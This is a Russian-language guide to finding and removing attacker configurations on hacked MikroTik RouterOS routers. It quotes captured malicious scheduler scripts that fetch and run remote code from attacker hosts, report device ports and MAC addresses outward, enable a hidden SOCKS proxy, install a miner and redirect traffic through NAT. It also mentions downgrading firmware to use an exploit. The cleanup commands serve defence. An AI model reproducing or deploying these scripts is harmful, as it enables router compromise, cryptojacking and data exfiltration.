Mikrotik RouterOS
Hack/DeHack

Web-прокси и Socks

Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их.

```
/ip proxy set enabled=no
/ip socks set enabled=no
```

Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время:

/system script

```
/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
source="/\
ip firewall filter remove [/ip firewall filter find where comment
~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-
connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access
find];/ip \
firewall filter add chain=input protocol=tcp port=54321
action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter
find comm\
ent=\"port 54321\"] 1;"
```

Вы можете обнаружить у себя файл `webproxy/error.html` который прокси вам подсовывает, а он в свою очередь вызывает майнер.

Лишние параметры появляются и здесь:

```
/ip proxy access print
/ip socks access print
```

Script может всё

В 90% дырявых Микротиков имеются скрипты `/system script` и для них настроено расписание выполнения `/system scheduler`.

По расписанию скачивается скрипт, которой в дальнейшем выполняется.

Установка майнера

```
/system scheduler
add interval=11h name=upd113 on-event="/tool fetch
url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http"
policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool
fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http
keep-resu\
lt=no"
```

Ещё один вариант скрипта, который после применения пытается частично спрятаться.

```
/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT"
policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
time=\
startup
```

```
add interval=25m name="DDNS Serv" on-event="/system script run
iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-
time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive
source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive
source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get
port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get
enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-
path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"
```

Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку.

DST-NAT

К моему большому удивлению, но много таких устройств, на которых завёрнут трафик через `/ip firewall nat`.

Спам в dst-nat

```
/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-
addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-
addresses=\
91.92.128.187 to-ports=4444
```

```
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-
port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-
port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-
port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-
port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
```

Хороший способ скрыть свой реальный ip.

VPN

Как же без него. RouterOS умеет подымать различные виды vpn, но хакеры чаще всего используют pptp и L2TP.

Поэтому проверьте раздел `/ppp secret`

Даже если этот раздел пуст, то ушлые хакеры могут авторизоваться и через Radius. Проверяем наличие записей `/radius print`

Если вы ничего не настраивали, то там должно быть пусто. В противном случае стоит очистить:

```
/radius remove numbers=[/radius find ]
```

И запретить использовать Radius

```
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
```

Отключаем использование Radius для авторизации на устройстве

```
/user aaa set use-radius=no
```

Если вы не используйте vpn, то отключите его

```
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no
```

DNS static

Без фишига так же не обошлось. На роутерах в /ip dns static

Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника.

Удаляем содержимое

```
/ip dns static remove numbers=[/ip dns static find]
```

Урезание прав админа

UPD: Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt), либо просто отбирает права и обновляет прошивку на последнюю.

содержимое /user в первом случае

[router@MikroTik] > /user print
Flags: X — disabled
NAME GROUP ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41

[router@MikroTik] > /user group print
0 name=«read»
policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default

1 name=«write»
policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default

2 name=«full»
policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default

3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default

Как вариант решения этой проблемы: через netinstall сделать downgrade на уязвимую прошивку и воспользоваться эксплоитом.

Packet Sniffer

Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел.

Выключить его можно так:

```
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol=""
filter-port="" filter-interface="" filter-stream=no
```